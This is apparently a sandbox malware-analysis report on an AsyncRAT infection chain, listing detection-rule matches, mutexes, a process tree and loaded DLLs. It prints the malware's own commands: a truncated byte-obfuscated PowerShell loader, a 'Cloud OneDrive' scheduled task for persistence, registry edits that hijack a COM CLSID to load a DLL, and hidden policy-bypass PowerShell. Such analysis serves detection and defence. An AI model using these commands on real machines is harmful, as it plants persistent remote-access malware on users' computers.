Source: 00000016.00000002.3400803278.0000000005286000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0000000D.00000002.3429100433.0000000005B28000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000016.00000002.3383370741.0000000000B70000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 0000000D.00000002.3418123386.0000000003431000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: 0000000D.00000002.3418123386.0000000003431000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0000000D.00000002.3429100433.0000000005A50000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000016.00000002.3391172871.0000000002C91000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: Process Memory Space: RegSvcs.exe PID: 1524, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: Process Memory Space: RegSvcs.exe PID: 1524, type: MEMORYSTR	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: Process Memory Space: RegSvcs.exe PID: 6100, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: Process Memory Space: RegSvcs.exe PID: 6100, type: MEMORYSTR	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT

Source: classification engine

Classification label: mal100.troj.expl.evad.winVBS@34/36@1/2

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3504:120:WilError_03
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Mutant created: \Sessions\1\BaseNamedObjects\AsyncMutex_Ass#$Butt$
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1272:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6208:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_k3nhhcke.z1d.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c C:\ProgramData\Cloud\cloud.bat

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\H#0813-186765.vbs"

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\H#0813-186765.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $var1 = $([char]([byte]0x20)+[char]([byte]0x5b)+[char]([byte]0x52)+[char]([byte]0x65)+[char]([byte]0x66)+[char]([byte]0x6c)+[char]([byte]0x65)+[char]([byte]0x63)+[char]([byte]0x74)+[char]([byte]0x69)+[char]([byte]0x6f)+[char]([byte]0x6e)+[char]([byte]0x2e)+[char]([byte]0x41)+[char]([byte]0x73)+[char]([byte]0x73)+[char]([byte]0x65)+[char]([byte]0x6d)+[char]([byte]0x62)+[char]([byte]0x6c)+[char]([byte]0x79)+[char]([byte]0x5d)+[char]([byte]0x3a)+[char]([byte]0x3a)+[char]([byte]0x6c)+[char]([byte]0x6f)+[char]([byte]0x61)+[char]([byte]0x64)+[char]([byte]0x77)+[char]([byte]0x69)+[char]([byte]0x74)+[char]([byte]0x68)+[char]([byte]0x50)+[char]([byte]0x61)+[char]([byte]0x72)+[char]([byte]0x74)+[char]([byte]0x69)+[char]([byte]0x61)+[char]([byte]0x6c)+[char]([byte]0x4e)+[char]([byte]0x61)+[char]([byte]0x6d)+[char]([byte]0x65)+[char]([byte]0x28)+[char]([byte]0x22)+[char]([byte]0x4d)+[char]([byte]0x69)+[char]([byte]0x63)+[char]([byte]0x72)+[char]([byte]0x6f)+[char]([byte]0x73)+[char]([byte]0x6f)+[char]([byte]0x66)+[char]([byte]0x74)+[char]([byte]0x2e)+[char]([byte]0x56)+[char]([byte]0x69)+[char]([byte]0x73)+[char]([byte]0x75)+[char]([byte]0x61)+[char]([byte]0x6c)+[char]([byte]0x42)+[char]([byte]0x61)+[char]([byte]0x73)+[char]([byte]0x69)+[char]([byte]0x63)+[char]([byte]0x22)+[char]([byte]0x29)+[char]([byte]0x20)+[char]([byte]0x7c)+[char]([byte]0x20)+[char]([byte]0x4f)+[char]([byte]0x75)+[char]([byte]0x74)+[char]([byte]0x2d)+[char]([byte]0x4e)+[char]([byte]0x75)+[char]([byte]0x6c)+[char]([byte]0x6c)+[char]([byte]0x20)+[char]([byte]0x3b)+[char]([byte]0x73)+[char]([byte]0x6c)+[char]([byte]0x65)+[char]([byte]0x65)+[char]([byte]0x70)+[char]([byte]0x20)+[char]([byte]0x2d)+[char]([byte]0x73)+[char]([byte]0x20)+[char]([byte]0x34)+[char]([byte]0x20)+[char]([byte]0x3b)+[char]([byte]0x20)+[char]([byte]0x24)+[char]([byte]0x76)+[char]([byte]0x61)+[char]([byte]0x72)+[char]([byte]0x20)+[char]([byte]0x3d)+[char]([byte]0x20)+[char]([byte]0x20)+[char]([byte]0x5b)+[char]([byte]0x4d)+[char]([byte]0x69)+[char]([byte]0x63)+[char]([byte]0x72)+[char]([byte]0x6f)+[char]([byte]0x73)+[char]([byte]0x6f)+[char]([byte]0x66)+[char]([byte]0x74)+[char]([byte]0x2e)+[char]([byte]0x56)+[char]([byte]0x69)+[char]([byte]0x73)+[char]([byte]0x75)+[char]([byte]0x61)+[char]([byte]0x6c)+[char]([byte]0x42)+[char]([byte]0x61)+[char]([byte]0x73)+[char]([byte]0x69)+[char]([byte]0x63)+[char]([byte]0x2e)+[char]([byte]0x49)+[char]([byte]0x6e)+[char]([byte]0x74)+[char]([byte]0x65)+[char]([byte]0x72)+[char]([byte]0x61)+[char]([byte]0x63)+[char]([byte]0x74)+[char]([byte]0x69)+[char]([byte]0x6f)+[char]([byte]0x6e)+[char]([byte]0x5d)+[char]([byte]0x3a)+[char]([byte]0x3a)+[char]([byte]0x43)+[char]([byte]0x61)+[char]([byte]0x6c)+[char]([byte]0x6c)+[char]([byte]0x62)+[char]([byte]0x79)+[char]([byte]0x6e)+[char]([byte]0x61)+[char]([byte]0x6d)+[char]([byte]0x65)+[char]([byte]0x28)+[char]([byte]0x28)+[c
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /sc minute /mo 2 /tn "Cloud OneDrive" /tr C:\ProgramData\Cloud\cloud.vbs
Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\ProgramData\Cloud\cloud.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c C:\ProgramData\Cloud\cloud.bat
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD HKCU\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec} /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD HKCU\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32 /ve /t REG_SZ /d C:\RedroCrypt.dll /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c Powershell -noP -W hidden -ep byPass -NONI "C:\ProgramData\Cloud\cloud.ps1"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell -noP -W hidden -ep byPass -NONI "C:\ProgramData\Cloud\cloud.ps1"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\\Windows\\Microsoft.Net\\Framework\\v4.0.30319\\RegSvcs.exe"
Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\ProgramData\Cloud\cloud.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c C:\ProgramData\Cloud\cloud.bat
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD HKCU\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec} /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD HKCU\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32 /ve /t REG_SZ /d C:\RedroCrypt.dll /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c Powershell -noP -W hidden -ep byPass -NONI "C:\ProgramData\Cloud\cloud.ps1"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell -noP -W hidden -ep byPass -NONI "C:\ProgramData\Cloud\cloud.ps1"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\\Windows\\Microsoft.Net\\Framework\\v4.0.30319\\RegSvcs.exe"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $var1 = $([char]([byte]0x20)+[char]([byte]0x5b)+[char]([byte]0x52)+[char]([byte]0x65)+[char]([byte]0x66)+[char]([byte]0x6c)+[char]([byte]0x65)+[char]([byte]0x63)+[char]([byte]0x74)+[char]([byte]0x69)+[char]([byte]0x6f)+[char]([byte]0x6e)+[char]([byte]0x2e)+[char]([byte]0x41)+[char]([byte]0x73)+[char]([byte]0x73)+[char]([byte]0x65)+[char]([byte]0x6d)+[char]([byte]0x62)+[char]([byte]0x6c)+[char]([byte]0x79)+[char]([byte]0x5d)+[char]([byte]0x3a)+[char]([byte]0x3a)+[char]([byte]0x6c)+[char]([byte]0x6f)+[char]([byte]0x61)+[char]([byte]0x64)+[char]([byte]0x77)+[char]([byte]0x69)+[char]([byte]0x74)+[char]([byte]0x68)+[char]([byte]0x50)+[char]([byte]0x61)+[char]([byte]0x72)+[char]([byte]0x74)+[char]([byte]0x69)+[char]([byte]0x61)+[char]([byte]0x6c)+[char]([byte]0x4e)+[char]([byte]0x61)+[char]([byte]0x6d)+[char]([byte]0x65)+[char]([byte]0x28)+[char]([byte]0x22)+[char]([byte]0x4d)+[char]([byte]0x69)+[char]([byte]0x63)+[char]([byte]0x72)+[char]([byte]0x6f)+[char]([byte]0x73)+[char]([byte]0x6f)+[char]([byte]0x66)+[char]([byte]0x74)+[char]([byte]0x2e)+[char]([byte]0x56)+[char]([byte]0x69)+[char]([byte]0x73)+[char]([byte]0x75)+[char]([byte]0x61)+[char]([byte]0x6c)+[char]([byte]0x42)+[char]([byte]0x61)+[char]([byte]0x73)+[char]([byte]0x69)+[char]([byte]0x63)+[char]([byte]0x22)+[char]([byte]0x29)+[char]([byte]0x20)+[char]([byte]0x7c)+[char]([byte]0x20)+[char]([byte]0x4f)+[char]([byte]0x75)+[char]([byte]0x74)+[char]([byte]0x2d)+[char]([byte]0x4e)+[char]([byte]0x75)+[char]([byte]0x6c)+[char]([byte]0x6c)+[char]([byte]0x20)+[char]([byte]0x3b)+[char]([byte]0x73)+[char]([byte]0x6c)+[char]([byte]0x65)+[char]([byte]0x65)+[char]([byte]0x70)+[char]([byte]0x20)+[char]([byte]0x2d)+[char]([byte]0x73)+[char]([byte]0x20)+[char]([byte]0x34)+[char]([byte]0x20)+[char]([byte]0x3b)+[char]([byte]0x20)+[char]([byte]0x24)+[char]([byte]0x76)+[char]([byte]0x61)+[char]([byte]0x72)+[char]([byte]0x20)+[char]([byte]0x3d)+[char]([byte]0x20)+[char]([byte]0x20)+[char]([byte]0x5b)+[char]([byte]0x4d)+[char]([byte]0x69)+[char]([byte]0x63)+[char]([byte]0x72)+[char]([byte]0x6f)+[char]([byte]0x73)+[char]([byte]0x6f)+[char]([byte]0x66)+[char]([byte]0x74)+[char]([byte]0x2e)+[char]([byte]0x56)+[char]([byte]0x69)+[char]([byte]0x73)+[char]([byte]0x75)+[char]([byte]0x61)+[char]([byte]0x6c)+[char]([byte]0x42)+[char]([byte]0x61)+[char]([byte]0x73)+[char]([byte]0x69)+[char]([byte]0x63)+[char]([byte]0x2e)+[char]([byte]0x49)+[char]([byte]0x6e)+[char]([byte]0x74)+[char]([byte]0x65)+[char]([byte]0x72)+[char]([byte]0x61)+[char]([byte]0x63)+[char]([byte]0x74)+[char]([byte]0x69)+[char]([byte]0x6f)+[char]([byte]0x6e)+[char]([byte]0x5d)+[char]([byte]0x3a)+[char]([byte]0x3a)+[char]([byte]0x43)+[char]([byte]0x61)+[char]([byte]0x6c)+[char]([byte]0x6c)+[char]([byte]0x62)+[char]([byte]0x79)+[char]([byte]0x6e)+[char]([byte]0x61)+[char]([byte]0x6d)+[char]([byte]0x65)+[char]([byte]0x28)+[char]([byte]0x28)+[c	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /sc minute /mo 2 /tn "Cloud OneDrive" /tr C:\ProgramData\Cloud\cloud.vbs	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c C:\ProgramData\Cloud\cloud.bat	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD HKCU\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec} /f	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD HKCU\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32 /ve /t REG_SZ /d C:\RedroCrypt.dll /f	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c Powershell -noP -W hidden -ep byPass -NONI "C:\ProgramData\Cloud\cloud.ps1"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell -noP -W hidden -ep byPass -NONI "C:\ProgramData\Cloud\cloud.ps1"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\\Windows\\Microsoft.Net\\Framework\\v4.0.30319\\RegSvcs.exe"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c C:\ProgramData\Cloud\cloud.bat
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD HKCU\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec} /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD HKCU\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32 /ve /t REG_SZ /d C:\RedroCrypt.dll /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c Powershell -noP -W hidden -ep byPass -NONI "C:\ProgramData\Cloud\cloud.ps1"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell -noP -W hidden -ep byPass -NONI "C:\ProgramData\Cloud\cloud.ps1"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\\Windows\\Microsoft.Net\\Framework\\v4.0.30319\\RegSvcs.exe"

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
